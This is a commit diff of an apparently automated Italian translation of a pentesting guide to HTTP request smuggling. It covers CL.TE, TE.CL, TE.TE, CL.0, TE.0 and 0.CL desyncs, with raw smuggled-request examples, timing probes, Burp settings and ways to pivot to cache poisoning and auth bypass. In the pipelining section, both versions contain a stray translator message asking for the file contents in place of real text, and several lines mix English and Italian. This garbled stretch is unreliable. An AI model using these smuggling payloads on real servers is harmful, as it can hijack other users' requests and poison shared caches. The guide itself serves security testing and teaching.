Translated ['src/pentesting-web/http-request-smuggling/README.md'] to it

This commit is contained in:
Translator 2025-09-05 11:36:45 +00:00
parent 4e886f94b7
commit 65e4ce80d8

View File

@ -5,8 +5,8 @@
## Che cos'è
Questa vulnerabilità si verifica quando una **desyncronization** tra **front-end proxies** e il **back-end** server permette a un **attacker** di **send** una richiesta HTTP che sarà **interpreted** come una **single request** dai **front-end** proxies (load balance/reverse-proxy) e **as 2 request** dal **back-end** server.\
Questo consente a un utente di **modify the next request that arrives to the back-end server after his**.
Questa vulnerabilità si verifica quando una **desincronizzazione** tra **front-end proxies** e il server **back-end** permette a un **attaccante** di **inviare** una HTTP **request** che verrà **interpretata** come una **singola request** dai **front-end** proxies (load balance/reverse-proxy) e **come 2 request** dal server **back-end**.\
Questo permette a un utente di **modificare la request successiva che arriva al back-end dopo la sua**.
### Teoria
@ -25,57 +25,57 @@ Questo consente a un utente di **modify the next request that arrives to the bac
### Realtà
Il **Front-End** (un load-balance / Reverse Proxy) **process** l'header _**Content-Length**_ o l'header _**Transfer-Encoding**_ e il **Back-end** server **process the other**, provocando una **desyncronization** tra i 2 sistemi.\
Questo può essere molto critico perché **an attacker will be able to send one request** al reverse proxy che sarà **interpreted** dal **back-end** server **as 2 different requests**. Il **pericolo** di questa tecnica risiede nel fatto che il **back-end** server **will interpret** la **2nd request injected** come se **came from the next client** e la **real request** di quel client sarà **part** della **injected request**.
Il **Front-End** (un load-balancer / Reverse Proxy) **processa** l'header _**Content-Length**_ o l'header _**Transfer-Encoding**_ e il server **Back-end** **processa l'altro**, provocando una **desincronizzazione** tra i 2 sistemi.\
Questo può essere molto critico perché **un attaccante potrà inviare una request** al reverse proxy che verrà **interpretata** dal server **back-end come 2 request differenti**. Il **pericolo** di questa tecnica risiede nel fatto che il **back-end** interpreterà la **2a request iniettata** come se **provenisse dal client successivo** e la **vera request** di quel client farà parte della **request iniettata**.
### Particolarità
Ricorda che in HTTP **un carattere di nuova linea è composto da 2 byte:**
- **Content-Length**: Questo header usa un **numero decimale** per indicare il **numero** di **bytes** del **body** della richiesta. Il body è previsto che finisca con l'ultimo carattere, **non è necessaria una nuova linea alla fine della richiesta**.
- **Transfer-Encoding:** Questo header utilizza nel **body** un **numero esadecimale** per indicare il **numero** di **bytes** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova linea** ma questa nuova linea **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di size 0 seguito da 2 nuove linee**: `0`
- **Connection**: Dalla mia esperienza è raccomandato usare **`Connection: keep-alive`** sulla prima request dello request Smuggling.
- **Content-Length**: Questo header usa un **numero decimale** per indicare il **numero** di **byte** del **body** della request. Il body è atteso terminare nell'ultimo carattere, **non è necessario un new line alla fine della request**.
- **Transfer-Encoding:** Questo header usa nel **body** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **new line** ma questa new line **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di size 0 seguito da 2 new line**: `0`
- **Connection**: Dalla mia esperienza è consigliato usare **`Connection: keep-alive`** sulla prima request dello request Smuggling.
### Visibile - Nascosto
Il problema principale con http/1.1 è che tutte le requests viaggiano nello stesso socket TCP, quindi se viene trovata una discrepanza tra 2 sistemi che ricevono le richieste è possibile inviare una request che sarà trattata come 2 richieste differenti (o più) dal backend finale (o anche da sistemi intermedi).
Il problema principale con http/1.1 è che tutte le request viaggiano nello stesso socket TCP, quindi se c'è una discrepanza tra 2 sistemi che ricevono le request è possibile inviare una singola request che sarà trattata come 2 request (o più) dal backend finale (o anche da sistemi intermedi).
**[This blog post](https://portswigger.net/research/http1-must-die)** propone nuovi modi per rilevare desync attacks a un sistema che non saranno segnalati dai WAF. Per questo presenta i comportamenti Visible vs Hidden. L'obiettivo in questo caso è cercare discrepanze nelle risposte usando tecniche che potrebbero causare desync senza sfruttare effettivamente nulla.
[This blog post](https://portswigger.net/research/http1-must-die) propone nuovi modi per rilevare desync attacks su un sistema che non verrebbero segnalati dai WAFs. Per questo presenta i comportamenti Visible vs Hidden. L'obiettivo in questo caso è cercare discrepanze nella response usando tecniche che potrebbero causare desyncs senza sfruttare effettivamente nulla.
Per esempio, inviando una request con l'header normale Host e un header " host", se il backend si lamenta di questa request (forse perché il valore di " host" è errato) potrebbe significare che il front-end non ha visto l'header " host" mentre il backend finale lo ha usato, altamente probabile implicando una desync tra front-end e backend.
Ad esempio, inviando una request con l'header normale Host e un header " host", se il backend si lamenta di questa request (forse perché il valore di " host" è incorretto) ciò potrebbe significare che il front-end non ha considerato l'header " host" mentre il backend lo ha usato, implicando con alta probabilità una desincronizzazione tra front-end e backend.
Questo sarebbe una discrepanza **Nascosto-Visibile**.
Questa sarebbe una discrepanza Nascosto-Visibile.
Se il front-end avesse preso in considerazione l'header " host" ma il backend no, questa potrebbe essere stata una situazione **Visibile-Nascosto**.
Se il front-end avesse preso in considerazione l'header " host" ma il front-end no, questa potrebbe essere stata una situazione Visibile-Nascosto.
Per esempio, questo ha permesso di scoprire desyncs tra AWS ALB come front-end e IIS come backend. Questo perché quando è stato inviato "Host: foo/bar" l'ALB ha restituito `400, Server; awselb/2.0`, ma quando è stato inviato "Host : foo/bar" ha restituito `400, Server: Microsoft-HTTPAPI/2.0`, indicando che il backend stava inviando la risposta. Questa è una situazione Nascosto-Visibile (H-V).
Ad esempio, questo ha permesso di scoprire desync tra AWS ALB come front-end e IIS come backend. Questo perché quando veniva inviato "Host: foo/bar" l'ALB restituiva `400, Server; awselb/2.0`, ma quando veniva inviato "Host : foo/bar" restituiva `400, Server: Microsoft-HTTPAPI/2.0`, indicando che era il backend a inviare la response. Questa è una situazione Nascosto-Visibile (H-V).
Nota che questa situazione non è corretta in AWS, ma può essere prevenuta impostando `routing.http.drop_invalid_header_fields.enabled` e `routing.http.desync_mitigation_mode = strictest`.
Nota che questa situazione non è corretta in AWS, ma può essere mitigata impostando `routing.http.drop_invalid_header_fields.enabled` e `routing.http.desync_mitigation_mode = strictest`.
## Esempi di base
## Basic Examples
> [!TIP]
> Quando provi a sfruttare questo con Burp Suite **disabilita `Update Content-Length` e `Normalize HTTP/1 line endings`** nel repeater perché alcuni gadget abusano di newlines, carriage returns e content-length malformati.
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano discrepanze nel modo in cui front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL**, e **TE.TE**. Ogni tipo rappresenta una combinazione diversa di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità sorgono dal fatto che i server processano la stessa request in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.
Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano discrepanze nel modo in cui front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL**, e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come front-end e back-end danno priorità a questi header. Le vulnerabilità nascono dal fatto che i server processano la stessa request in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.
### Esempi base di tipi di vulnerabilità
### Esempi Base di Tipi di Vulnerabilità
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> Al tavolo precedente dovresti aggiungere la tecnica TE.0, simile a CL.0 ma usando Transfer Encoding.
> Alla tabella precedente dovresti aggiungere la tecnica TE.0, simile a CL.0 ma usando Transfer-Encoding.
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** Processa la request basandosi sull'header `Content-Length`.
- **Back-End (TE):** Processa la request basandosi sull'header `Transfer-Encoding`.
- **Scenario di attacco:**
- **Scenario di Attacco:**
- L'attacker invia una request dove il valore dell'header `Content-Length` non corrisponde alla lunghezza effettiva del contenuto.
- Il front-end server inoltra l'intera request al back-end, basandosi sul valore di `Content-Length`.
- Il back-end server processa la request come chunked a causa dell'header `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una request separata e successiva.
- L'attaccante invia una request dove il valore dell'header `Content-Length` non corrisponde alla reale lunghezza del contenuto.
- Il front-end inoltra l'intera request al back-end, basandosi sul valore di `Content-Length`.
- Il back-end processa la request come chunked a causa dell'header `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una request separata e successiva.
- **Esempio:**
```
@ -95,11 +95,11 @@ Foo: x
- **Front-End (TE):** Processa la request basandosi sull'header `Transfer-Encoding`.
- **Back-End (CL):** Processa la request basandosi sull'header `Content-Length`.
- **Scenario di attacco:**
- **Scenario di Attacco:**
- L'attacker invia una request chunked dove la dimensione del chunk (`7b`) e la lunghezza effettiva del contenuto (`Content-Length: 4`) non sono allineate.
- Il front-end server, rispettando `Transfer-Encoding`, inoltra l'intera request al back-end.
- Il back-end server, rispettando `Content-Length`, processa solo la parte iniziale della request (`7b` bytes), lasciando il resto come parte di una request successiva non intenzionale.
- L'attaccante invia una request chunked dove la dimensione del chunk (`7b`) e la reale Content-Length (`Content-Length: 4`) non sono allineate.
- Il front-end, rispettando `Transfer-Encoding`, inoltra l'intera request al back-end.
- Il back-end, rispettando `Content-Length`, processa solo la parte iniziale della request (`7b` bytes), lasciando il resto come parte di una request successiva non voluta.
- **Esempio:**
```
@ -122,12 +122,12 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servers:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato nell'ignorarlo tramite obfuscation.
- **Scenario di attacco:**
- **Servers:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato a ignorarlo tramite obfuscation.
- **Scenario di Attacco:**
- L'attacker invia una request con header `Transfer-Encoding` obfuscati.
- L'attaccante invia una request con header `Transfer-Encoding` obfuscati.
- A seconda di quale server (front-end o back-end) non riconosce l'obfuscation, si può sfruttare una vulnerabilità CL.TE o TE.CL.
- La parte non processata della request, come vista da uno dei server, diventa parte di una request successiva, portando a smuggling.
- La parte non processata della request, come vista da uno dei server, diventa parte di una request successiva, portando allo smuggling.
- **Esempio:**
```
@ -150,7 +150,7 @@ Transfer-Encoding
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- Entrambi i server processano la request basandosi esclusivamente sull'header `Content-Length`.
- Questo scenario tipicamente non porta a smuggling, poiché c'è allineamento nel modo in cui entrambi i server interpretano la lunghezza della request.
- Questo scenario tipicamente non porta a smuggling, poiché c'è allineamento su come entrambi i server interpretano la lunghezza della request.
- **Esempio:**
```
@ -164,8 +164,8 @@ Normal Request
#### **CL.0 Scenario**
- Si riferisce a scenari dove l'header `Content-Length` è presente e ha un valore diverso da zero, indicando che il body della request ha contenuto. Il back-end ignora l'header `Content-Length` (che viene trattato come 0), ma il front-end lo analizza.
- È cruciale per comprendere e creare attacchi di smuggling, poiché influenza come i server determinano la fine di una request.
- Si riferisce a scenari in cui l'header `Content-Length` è presente e ha un valore diverso da zero, indicando che il body della request ha contenuto. Il back-end ignora l'header `Content-Length` (che viene trattato come 0), ma il front-end lo analizza.
- È cruciale per comprendere e costruire attacchi di smuggling, poiché influenza come i server determinano la fine di una request.
- **Esempio:**
```
@ -180,7 +180,7 @@ Non-Empty Body
#### TE.0 Scenario
- Come il precedente ma usando TE
- Tecnica [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Esempio**:
```
OPTIONS / HTTP/1.1
@ -211,47 +211,47 @@ Content-Length:
GET /404 HTTP/1.1
X: Y
```
Il front-end non tiene conto del `Content-Length`, quindi invia solo la prima request al backend (fino al 7 nell'esempio). Tuttavia il backend vede il `Content-Length` e aspetta un body che non arriva mai, perché il front-end è già in attesa della response.
Il front-end non prende in considerazione il `Content-Length`, quindi invia solo la prima richiesta al backend (fino al 7 nell'esempio). Tuttavia il backend vede il `Content-Length` e attende un body che non arriva mai perché il front-end sta già aspettando la risposta.
Se invece è possibile inviare al backend una request che venga risposta prima di ricevere il suo body, questo deadlock non si verifica. In IIS, ad esempio, questo accade inviando request a nomi riservati come `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), in questo modo la request iniziale viene risposta direttamente e la seconda request conterrà la request della victim come:
Tuttavia, se esiste una richiesta che è possibile inviare al backend e che viene risposta prima di ricevere il body della richiesta, questo deadlock non si verificherà. In IIS, per esempio, questo succede inviando richieste a parole riservate come `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), in questo modo la richiesta iniziale verrà gestita direttamente e la seconda richiesta conterrà la richiesta della vittima come:
```
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
```
Questo è utile per causare una desync, ma finora non avrà alcun impatto.
Questo è utile per causare un desync, ma non ha avuto alcun impatto fino ad ora.
Tuttavia, il post offre una soluzione convertendo una **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
Tuttavia, il post propone una soluzione a questo convertendo una **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
#### Rompere il web server
Questa tecnica è utile anche in scenari in cui è possibile **rompere un web server mentre si leggono i dati HTTP iniziali** ma **senza chiudere la connessione**. In questo modo, il **body** della richiesta HTTP sarà considerato la **next HTTP request**.
Questa tecnica è inoltre utile in scenari in cui è possibile **break a web server while reading the initial HTTP data** ma **without closing the connection**. In questo modo, il **body** della richiesta HTTP sarà considerato la **next HTTP request**.
Per esempio, come spiegato in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug era possibile inviare alcuni caratteri **Unicode** che avrebbero fatto **break** il server. Tuttavia, se la connessione HTTP era stata creata con l'header **`Connection: keep-alive`**, il body della richiesta non verrà letto e la connessione resterà aperta, quindi il **body** della richiesta sarà trattato come la **next HTTP request**.
Per esempio, come spiegato in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug era possibile inviare alcuni caratteri **Unicode** che facevano **break** il server. Tuttavia, se la connessione HTTP era stata creata con l'header **`Connection: keep-alive`**, il body della richiesta non verrà letto e la connessione resterà aperta, quindi il **body** della richiesta sarà trattato come la **next HTTP request**.
#### Forzare tramite hop-by-hop headers
#### Forzare via hop-by-hop headers
Abusando degli hop-by-hop headers si può indicare al proxy di **cancellare l'header Content-Length o Transfer-Encoding, rendendo possibile sfruttare un HTTP request smuggling**.
Abusando degli hop-by-hop headers puoi indicare al proxy di **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
```
Connection: Content-Length
```
Per **more information about hop-by-hop headers** visita:
Per **maggiori informazioni sulle intestazioni hop-by-hop** visita:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Individuazione di HTTP Request Smuggling
## Trovare HTTP Request Smuggling
Identificare vulnerabilità di HTTP request smuggling può spesso essere ottenuto utilizzando tecniche basate sul timing, che si basano sull'osservazione di quanto tempo impiega il server a rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:
Identificare le vulnerabilità di HTTP request smuggling può spesso essere ottenuto usando tecniche di timing, che si basano sull'osservazione del tempo impiegato dal server per rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:
### Individuazione di vulnerabilità CL.TE con tecniche di timing
### Trovare vulnerabilità CL.TE usando tecniche di timing
- **Method:**
- **Metodo:**
- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
- **Example:**
- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il back-end server aspetti dati aggiuntivi.
- **Esempio:**
```
POST / HTTP/1.1
@ -265,20 +265,20 @@ A
0
```
- **Observation:**
- Il server front-end elabora la richiesta basandosi su `Content-Length` e tronca il messaggio prematuramente.
- Il server back-end, aspettandosi un messaggio chunked, aspetta il chunk successivo che non arriva mai, causando un ritardo.
- **Osservazione:**
- Il front-end server elabora la richiesta basandosi su `Content-Length` e tronca il messaggio prematuramente.
- Il back-end server, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.
- **Indicators:**
- **Indicatori:**
- Timeout o lunghi ritardi nella risposta.
- Ricezione di un errore 400 Bad Request dal server back-end, a volte con informazioni dettagliate sul server.
- Ricezione di un 400 Bad Request dal back-end server, a volte con informazioni dettagliate sul server.
### Individuazione di vulnerabilità TE.CL con tecniche di timing
### Trovare vulnerabilità TE.CL usando tecniche di timing
- **Method:**
- **Metodo:**
- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
- **Example:**
- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il back-end server aspetti dati aggiuntivi.
- **Esempio:**
```
POST / HTTP/1.1
@ -291,24 +291,24 @@ Content-Length: 6
X
```
- **Observation:**
- Il server front-end elabora la richiesta basandosi su `Transfer-Encoding` e inoltra l'intero messaggio.
- Il server back-end, aspettandosi un messaggio basato su `Content-Length`, aspetta dati aggiuntivi che non arrivano mai, causando un ritardo.
- **Osservazione:**
- Il front-end server elabora la richiesta basandosi su `Transfer-Encoding` e inoltra l'intero messaggio.
- Il back-end server, aspettandosi un messaggio basato su `Content-Length`, attende ulteriori dati che non arrivano mai, causando un ritardo.
### Altri metodi per individuare vulnerabilità
### Altri metodi per trovare vulnerabilità
- **Analisi differenziale delle risposte:**
- Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inatteso, indicando una discrepanza nel parsing.
- **Analisi delle risposte differenziali:**
- Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inaspettato, indicando una discrepanza nel parsing.
- **Uso di strumenti automatici:**
- Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
- **Test di variabilità di Content-Length:**
- Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando diverse forme di richieste ambigue e analizzando le risposte.
- **Test di varianza di Content-Length:**
- Inviare richieste con valori `Content-Length` variabili che non corrispondono alla lunghezza effettiva del contenuto e osservare come il server gestisce tali discrepanze.
- **Test di variabilità di Transfer-Encoding:**
- Inviare richieste con header `Transfer-Encoding` offuscati o malformati e monitorare come front-end e back-end rispondono in modo differente a tali manipolazioni.
- **Test di varianza di Transfer-Encoding:**
- Inviare richieste con header `Transfer-Encoding` offuscati o malformati e monitorare come front-end e back-end server rispondono in modo diverso a tali manipolazioni.
### L'header `Expect: 100-continue`
### The `Expect: 100-continue` header
Check how this header can help exploiting a http desync in:
Verifica come questo header può aiutare a sfruttare un http desync in:
{{#ref}}
../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -316,25 +316,25 @@ Check how this header can help exploiting a http desync in:
### HTTP Request Smuggling Vulnerability Testing
Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste del client possono essere manipolate. Un metodo semplice è provare a avvelenare le tue richieste, per esempio facendo in modo che una richiesta a `/` restituisca un 404. Gli esempi CL.TE e TE.CL discussi in precedenza in [Basic Examples](#basic-examples) mostrano come avvelenare la richiesta di un client per ottenere una risposta 404, nonostante il client mirasse ad accedere a una risorsa diversa.
Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, ad esempio facendo sì che una richiesta a `/` restituisca un 404. Gli esempi `CL.TE` e `TE.CL` discussi precedentemente in [Basic Examples](#basic-examples) mostrano come avvelenare la richiesta di un client per ottenere un 404, nonostante il client tenti di accedere a una risorsa diversa.
**Considerazioni chiave**
Quando testi per vulnerabilità di request smuggling interferendo con altre richieste, tieni presente:
Quando testi le vulnerabilità di request smuggling interferendo con altre richieste, tieni a mente:
- **Connessioni di rete distinte:** Le richieste "attack" e "normal" dovrebbero essere inviate su connessioni di rete separate. Utilizzare la stessa connessione per entrambe non convalida la presenza della vulnerabilità.
- **URL e parametri coerenti:** Cerca di usare URL identici e gli stessi nomi di parametri per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a specifici server back-end in base a URL e parametri. Far corrispondere questi elementi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, prerequisito per un attacco riuscito.
- **Tempi e condizioni di race:** La richiesta "normal", destinata a rilevare l'interferenza dalla richiesta "attack", gareggia contro altre richieste concorrenti dell'applicazione. Perciò invia la richiesta "normal" immediatamente dopo la richiesta "attack". Applicazioni molto trafficate possono richiedere più tentativi per una conferma conclusiva della vulnerabilità.
- **Sfide di load balancing:** I server front-end che agiscono come load balancer possono distribuire le richieste su vari sistemi back-end. Se le richieste "attack" e "normal" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico può richiedere più tentativi per confermare una vulnerabilità.
- **Impatto involontario sugli utenti:** Se il tuo attacco incide involontariamente sulla richiesta di un altro utente (non sulla richiesta "normal" che hai inviato per il rilevamento), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero disturbare altri utenti, richiedendo un approccio prudente.
- **Connessioni di rete distinte:** Le richieste "attack" e "normal" dovrebbero essere inviate su connessioni di rete separate. Usare la stessa connessione per entrambe non convalida la presenza della vulnerabilità.
- **URL e parametri coerenti:** Cerca di usare URL identici e gli stessi nomi di parametri per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste verso specifici back-end server basandosi su URL e parametri. Farli combaciare aumenta la probabilità che entrambe le richieste siano processate dallo stesso server, prerequisito per un attacco riuscito.
- **Temporizzazione e condizioni di race:** La richiesta "normal", pensata per rilevare l'interferenza dalla richiesta "attack", compete con altre richieste concorrenti dell'applicazione. Pertanto, invia la richiesta "normal" immediatamente dopo la richiesta "attack". Applicazioni molto cariche possono richiedere più tentativi per una conferma conclusiva della vulnerabilità.
- **Sfide del load balancing:** I front-end server che agiscono come load balancer possono distribuire le richieste su diversi sistemi back-end. Se le richieste "attack" e "normal" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico può richiedere diversi tentativi per confermare una vulnerabilità.
- **Impatto involontario sugli utenti:** Se il tuo attacco influenza involontariamente la richiesta di un altro utente (non la richiesta "normal" che hai inviato per il rilevamento), questo indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero disturbare altri utenti, quindi procedi con cautela.
## Distinguere gli artefatti di pipelining HTTP/1.1 dal vero request smuggling
## Distinguere artefatti di HTTP/1.1 pipelining da genuine request smuggling
Il riuso della connessione (keep-alive) e il pipelining possono facilmente creare illusioni di "smuggling" negli strumenti di testing che inviano più richieste sullo stesso socket. Impara a separare gli artefatti innocui lato client da un vero desync lato server.
La riutilizzo della connessione (keep-alive) e il pipelining possono facilmente produrre illusioni di "smuggling" in strumenti di test che inviano più richieste sullo stesso socket. Impara a separare innocui artefatti lato client da veri desync lato server.
### Perché il pipelining crea falsi positivi classici
HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining, il client invia più richieste in rapida successione e si affida a risposte in ordine. Un falso positivo comune è reinviare due volte un payload malformato in stile CL.0 sulla stessa connessione:
HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining, il client invia più richieste una dopo l'altra e si affida a risposte in ordine. Un falso positivo comune è reinviare due volte un payload malformato in stile CL.0 sulla stessa connessione:
```
POST / HTTP/1.1
Host: hackxor.net
@ -343,7 +343,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
I don't have the file contents. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here (or upload it). I will then translate the English text to Italian, preserving all markdown, code blocks, tags, links, refs and paths exactly as you requested.
Non hai incollato il contenuto del file. Per favore incolla qui il contenuto di src/pentesting-web/http-request-smuggling/README.md che vuoi tradurre. Tradurrò il testo rilevante in italiano mantenendo invariati codice, tag, link e path.
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -371,53 +371,52 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impatto: nessuno. Hai semplicemente desynced il tuo client dal framing del server.
Impact: none. Hai solo desincronizzato il tuo client dal framing del server.
> [!TIP]
> I moduli di Burp che dipendono da reuse/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".
### Test fondamentali: pipelining o desync reale?
### Test di verifica: pipelining o desync reale?
1. Disabilita reuse e riprova
1. Disable reuse and re-test
- In Burp Intruder/Repeater, disattiva HTTP/1 reuse ed evita "Send group in sequence".
- In Turbo Intruder, imposta `requestsPerConnection=1` e `pipeline=False`.
- Se il comportamento scompare, probabilmente si trattava di pipelining lato client, a meno che tu non stia trattando con target connection-locked/stateful o con desync lato client.
2. Controllo nested-response via HTTP/2
- Invia una richiesta HTTP/2. Se il body della risposta contiene una completa nested HTTP/1 response, hai dimostrato un bug di parsing/desync lato backend invece di un mero artefatto client.
3. Probe partial-requests per front-end connection-locked
- Alcuni FE riutilizzano la connessione upstream verso il BE solo se il client ha riutilizzato la sua. Usa partial-requests per rilevare un comportamento del FE che rispecchia il reuse del client.
- Se il comportamento scompare, era probabilmente pipelining lato client, a meno che tu non stia trattando con target connection-locked/stateful o desync lato client.
2. HTTP/2 nested-response check
- Invia una richiesta HTTP/2. Se il body della risposta contiene una risposta HTTP/1 completa nidificata, hai dimostrato un bug di parsing/desync lato backend invece di un puro artefatto client.
3. Partial-requests probe per front-end connection-locked
- Alcuni FE riutilizzano la connessione upstream solo se il client ha riutilizzato la propria. Usa partial-requests per rilevare comportamenti del FE che rispecchiano il reuse del client.
- Vedi PortSwigger "BrowserPowered Desync Attacks" per la tecnica connection-locked.
4. Prove di stato
- Cerca differenze tra first- e subsequent-request sulla stessa connessione TCP (first-request routing/validation).
4. State probes
- Cerca differenze tra prima e richieste successive sulla stessa connessione TCP (routing/validation della prima richiesta).
- Burp "HTTP Request Smuggler" include una connectionstate probe che automatizza questo.
5. Visualizza il wire
- Usa l'estensione Burp "HTTP Hacker" per ispezionare concatenation e message framing direttamente mentre sperimenti con reuse e partial requests.
5. Visualize the wire
- Usa l'estensione Burp "HTTP Hacker" per ispezionare concatenazione e framing dei messaggi direttamente mentre sperimenti con reuse e partial requests.
### Connectionlocked request smuggling (reuse-required)
### Connectionlocked request smuggling (richiede reuse)
Alcuni front-end riutilizzano la connessione upstream solo quando il client riutilizza la sua. Lo smuggling reale esiste ma è condizionato al reuse lato client. Per distinguere e dimostrare l'impatto:
Alcuni front-end riutilizzano la connessione upstream solo quando il client riutilizza la propria. Esiste uno smuggling reale ma è condizionato al reuse lato client. Per distinguere e dimostrare l'impatto:
- Dimostra il bug lato server
- Usa il controllo HTTP/2 nested-response, oppure
- Usa partial-requests per mostrare che il FE riutilizza l'upstream solo quando lo fa il client.
- Mostra un impatto reale anche se l'abuso diretto di socket cross-user è bloccato:
- Cache poisoning: inquina shared caches tramite il desync in modo che le risposte influenzino altri utenti.
- Internal header disclosure: riflettere FE-injected headers (es., auth/trust headers) e pivotare verso auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combina con host routing quirks per pivotare verso internal vhosts.
- Usa l'HTTP/2 nested-response check, oppure
- Usa partial-requests per mostrare che il FE riutilizza upstream solo quando lo fa il client.
- Dimostra un impatto reale anche se l'abuso diretto di socket cross-user è bloccato:
- Cache poisoning: avvelena cache condivise tramite il desync in modo che le risposte influenzino altri utenti.
- Internal header disclosure: rifletti header iniettati dal FE (es., auth/trust headers) e pivot per bypassare l'autenticazione.
- Bypass dei controlli del FE: smuggle percorsi/metodi ristretti oltre il front-end.
- Host-header abuse: combina con peculiarità di host routing per pivotare verso vhost interni.
- Workflow dell'operatore
- Riproduci con reuse controllato (Turbo Intruder `requestsPerConnection=2`, o Burp Repeater tab group → "Send group in sequence (single connection)").
- Poi concatena a primitive cache/header-leak/control-bypass e dimostra impatto cross-user o di autorizzazione.
- Poi fai chaining verso primitive di cache/header-leak/control-bypass e dimostra impatto cross-user o autorizzazione.
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>
{{#endref}}
>{{#endref}}
### Clientside desync constraints
### Vincoli del desync lato client
Se stai prendendo di mira browser-powered/client-side desync, la richiesta malevola deve poter essere inviata dal browser cross-origin. I trucchi di header obfuscation non funzioneranno. Concentrati su primitive raggiungibili via navigation/fetch, e poi pivot verso cache poisoning, header disclosure, o front-end control bypass dove componenti downstream riflettono o cachano risposte.
